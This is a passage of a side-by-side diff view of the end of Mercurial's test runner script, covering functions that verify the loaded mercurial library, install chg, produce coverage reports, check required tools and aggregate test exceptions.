3561 | 3559 | def _checkhglib(self, verb): |
|
3562 | 3560 | """Ensure that the 'mercurial' package imported by python is |
|
3563 | 3561 | the one we expect it to be. If not, print a warning to stderr.""" |
|
3564 | 3562 | if (self._bindir == self._pythondir) and ( |
|
3565 | 3563 | self._bindir != self._tmpbindir |
|
3566 | 3564 | ): |
|
3567 | 3565 | # The pythondir has been inferred from --with-hg flag. |
|
3568 | 3566 | # We cannot expect anything sensible here. |
|
3569 | 3567 | return |
|
3570 | 3568 | expecthg = os.path.join(self._pythondir, b'mercurial') |
|
3571 | 3569 | actualhg = self._gethgpath() |
|
3572 | 3570 | if os.path.abspath(actualhg) != os.path.abspath(expecthg): |
|
3573 | 3571 | sys.stderr.write( |
|
3574 | 3572 | 'warning: %s with unexpected mercurial lib: %s\n' |
|
3575 | 3573 | ' (expected %s)\n' % (verb, actualhg, expecthg) |
|
3576 | 3574 | ) |
|
3577 | 3575 | |
|
3578 | 3576 | def _gethgpath(self): |
|
3579 | 3577 | """Return the path to the mercurial package that is actually found by |
|
3580 | 3578 | the current Python interpreter.""" |
|
3581 | 3579 | if self._hgpath is not None: |
|
3582 | 3580 | return self._hgpath |
|
3583 | 3581 | |
|
3584 | 3582 | cmd = b'"%s" -c "import mercurial; print (mercurial.__path__[0])"' |
|
3585 | 3583 | cmd = cmd % PYTHON |
|
3586 | 3584 | if PYTHON3: |
|
3587 | 3585 | cmd = _strpath(cmd) |
|
3588 | 3586 | |
|
3589 | 3587 | p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) |
|
3590 | 3588 | out, err = p.communicate() |
|
3591 | 3589 | |
|
3592 | 3590 | self._hgpath = out.strip() |
|
3593 | 3591 | |
|
3594 | 3592 | return self._hgpath |
|
3595 | 3593 | |
|
3596 | 3594 | def _installchg(self): |
|
3597 | 3595 | """Install chg into the test environment""" |
|
3598 | 3596 | vlog('# Performing temporary installation of CHG') |
|
3599 | 3597 | assert os.path.dirname(self._bindir) == self._installdir |
|
3600 | 3598 | assert self._hgroot, 'must be called after _installhg()' |
|
3601 | 3599 | cmd = b'"%(make)s" clean install PREFIX="%(prefix)s"' % { |
|
3602 | 3600 | b'make': b'make', # TODO: switch by option or environment? |
|
3603 | 3601 | b'prefix': self._installdir, |
|
3604 | 3602 | } |
|
3605 | 3603 | cwd = os.path.join(self._hgroot, b'contrib', b'chg') |
|
3606 | 3604 | vlog("# Running", cmd) |
|
3607 | 3605 | proc = subprocess.Popen( |
|
3608 | 3606 | cmd, |
|
3609 | 3607 | shell=True, |
|
3610 | 3608 | cwd=cwd, |
|
3611 | 3609 | stdin=subprocess.PIPE, |
|
3612 | 3610 | stdout=subprocess.PIPE, |
|
3613 | 3611 | stderr=subprocess.STDOUT, |
|
3614 | 3612 | ) |
|
3615 | 3613 | out, _err = proc.communicate() |
|
3616 | 3614 | if proc.returncode != 0: |
|
3617 | 3615 | if PYTHON3: |
|
3618 | 3616 | sys.stdout.buffer.write(out) |
|
3619 | 3617 | else: |
|
3620 | 3618 | sys.stdout.write(out) |
|
3621 | 3619 | sys.exit(1) |
|
3622 | 3620 | |
|
3623 | 3621 | def _outputcoverage(self): |
|
3624 | 3622 | """Produce code coverage output.""" |
|
3625 | 3623 | import coverage |
|
3626 | 3624 | |
|
3627 | 3625 | coverage = coverage.coverage |
|
3628 | 3626 | |
|
3629 | 3627 | vlog('# Producing coverage report') |
|
3630 | 3628 | # chdir is the easiest way to get short, relative paths in the |
|
3631 | 3629 | # output. |
|
3632 | 3630 | os.chdir(self._hgroot) |
|
3633 | 3631 | covdir = os.path.join(_strpath(self._installdir), '..', 'coverage') |
|
3634 | 3632 | cov = coverage(data_file=os.path.join(covdir, 'cov')) |
|
3635 | 3633 | |
|
3636 | 3634 | # Map install directory paths back to source directory. |
|
3637 | 3635 | cov.config.paths['srcdir'] = ['.', _strpath(self._pythondir)] |
|
3638 | 3636 | |
|
3639 | 3637 | cov.combine() |
|
3640 | 3638 | |
|
3641 | 3639 | omit = [ |
|
3642 | 3640 | _strpath(os.path.join(x, b'*')) |
|
3643 | 3641 | for x in [self._bindir, self._testdir] |
|
3644 | 3642 | ] |
|
3645 | 3643 | cov.report(ignore_errors=True, omit=omit) |
|
3646 | 3644 | |
|
3647 | 3645 | if self.options.htmlcov: |
|
3648 | 3646 | htmldir = os.path.join(_strpath(self._outputdir), 'htmlcov') |
|
3649 | 3647 | cov.html_report(directory=htmldir, omit=omit) |
|
3650 | 3648 | if self.options.annotate: |
|
3651 | 3649 | adir = os.path.join(_strpath(self._outputdir), 'annotated') |
|
3652 | 3650 | if not os.path.isdir(adir): |
|
3653 | 3651 | os.mkdir(adir) |
|
3654 | 3652 | cov.annotate(directory=adir, omit=omit) |
|
3655 | 3653 | |
|
3656 | 3654 | def _findprogram(self, program): |
|
3657 | 3655 | """Search PATH for a executable program""" |
|
3658 | 3656 | dpb = _bytespath(os.defpath) |
|
3659 | 3657 | sepb = _bytespath(os.pathsep) |
|
3660 | 3658 | for p in osenvironb.get(b'PATH', dpb).split(sepb): |
|
3661 | 3659 | name = os.path.join(p, program) |
|
3662 | 3660 | if os.name == 'nt' or os.access(name, os.X_OK): |
|
3663 | 3661 | return name |
|
3664 | 3662 | return None |
|
3665 | 3663 | |
|
3666 | 3664 | def _checktools(self): |
|
3667 | 3665 | """Ensure tools required to run tests are present.""" |
|
3668 | 3666 | for p in self.REQUIREDTOOLS: |
|
3669 | 3667 | if os.name == 'nt' and not p.endswith(b'.exe'): |
|
3670 | 3668 | p += b'.exe' |
|
3671 | 3669 | found = self._findprogram(p) |
|
3672 | 3670 | p = p.decode("utf-8") |
|
3673 | 3671 | if found: |
|
3674 | 3672 | vlog("# Found prerequisite", p, "at", _strpath(found)) |
|
3675 | 3673 | else: |
|
3676 | 3674 | print("WARNING: Did not find prerequisite tool: %s " % p) |
|
3677 | 3675 | |
|
3678 | 3676 | |
|
3679 | 3677 | def aggregateexceptions(path): |
|
3680 | 3678 | exceptioncounts = collections.Counter() |
|
3681 | 3679 | testsbyfailure = collections.defaultdict(set) |
|
3682 | 3680 | failuresbytest = collections.defaultdict(set) |
|
3683 | 3681 | |
|
3684 | 3682 | for f in os.listdir(path): |
|
3685 | 3683 | with open(os.path.join(path, f), 'rb') as fh: |
|
3686 | 3684 | data = fh.read().split(b'\0') |
|
3687 | 3685 | if len(data) != 5: |
|
3688 | 3686 | continue |
|
3689 | 3687 | |
|
3690 | 3688 | exc, mainframe, hgframe, hgline, testname = data |
|
3691 | 3689 | exc = exc.decode('utf-8') |
|
3692 | 3690 | mainframe = mainframe.decode('utf-8') |
|
3693 | 3691 | hgframe = hgframe.decode('utf-8') |
|
3694 | 3692 | hgline = hgline.decode('utf-8') |
|
3695 | 3693 | testname = testname.decode('utf-8') |
|
3696 | 3694 | |
|
3697 | 3695 | key = (hgframe, hgline, exc) |
|
3698 | 3696 | exceptioncounts[key] += 1 |
|
3699 | 3697 | testsbyfailure[key].add(testname) |
|
3700 | 3698 | failuresbytest[testname].add(key) |
|
3701 | 3699 | |
|
3702 | 3700 | # Find test having fewest failures for each failure. |
|
3703 | 3701 | leastfailing = {} |
|
3704 | 3702 | for key, tests in testsbyfailure.items(): |
|
3705 | 3703 | fewesttest = None |
|
3706 | 3704 | fewestcount = 99999999 |
|
3707 | 3705 | for test in sorted(tests): |
|
3708 | 3706 | if len(failuresbytest[test]) < fewestcount: |
|
3709 | 3707 | fewesttest = test |
|
3710 | 3708 | fewestcount = len(failuresbytest[test]) |
|
3711 | 3709 | |
|
3712 | 3710 | leastfailing[key] = (fewestcount, fewesttest) |
|
3713 | 3711 | |
|
3714 | 3712 | # Create a combined counter so we can sort by total occurrences and |
|
3715 | 3713 | # impacted tests. |
|
3716 | 3714 | combined = {} |
|
3717 | 3715 | for key in exceptioncounts: |
|
3718 | 3716 | combined[key] = ( |
|
3719 | 3717 | exceptioncounts[key], |
|
3720 | 3718 | len(testsbyfailure[key]), |
|
3721 | 3719 | leastfailing[key][0], |
|
3722 | 3720 | leastfailing[key][1], |
|
3723 | 3721 | ) |
|
3724 | 3722 | |
|
3725 | 3723 | return { |
|
3726 | 3724 | 'exceptioncounts': exceptioncounts, |
|
3727 | 3725 | 'total': sum(exceptioncounts.values()), |
|
3728 | 3726 | 'combined': combined, |
|
3729 | 3727 | 'leastfailing': leastfailing, |
|
3730 | 3728 | 'byfailure': testsbyfailure, |
|
3731 | 3729 | 'bytest': failuresbytest, |
|
3732 | 3730 | } |
|
3733 | 3731 | |
|
3734 | 3732 | |
|
3735 | 3733 | if __name__ == '__main__': |
|
3736 | 3734 | runner = TestRunner() |
|
3737 | 3735 | |
|
3738 | 3736 | try: |
|
3739 | 3737 | import msvcrt |
|
3740 | 3738 | |
|
3741 | 3739 | msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY) |
|
3742 | 3740 | msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) |
|
3743 | 3741 | msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY) |
|
3744 | 3742 | except ImportError: |
|
3745 | 3743 | pass |
|
3746 | 3744 | |
|
3747 | 3745 | sys.exit(runner.run(sys.argv[1:])) |
General Comments 0
You need to be logged in to leave comments.
Login now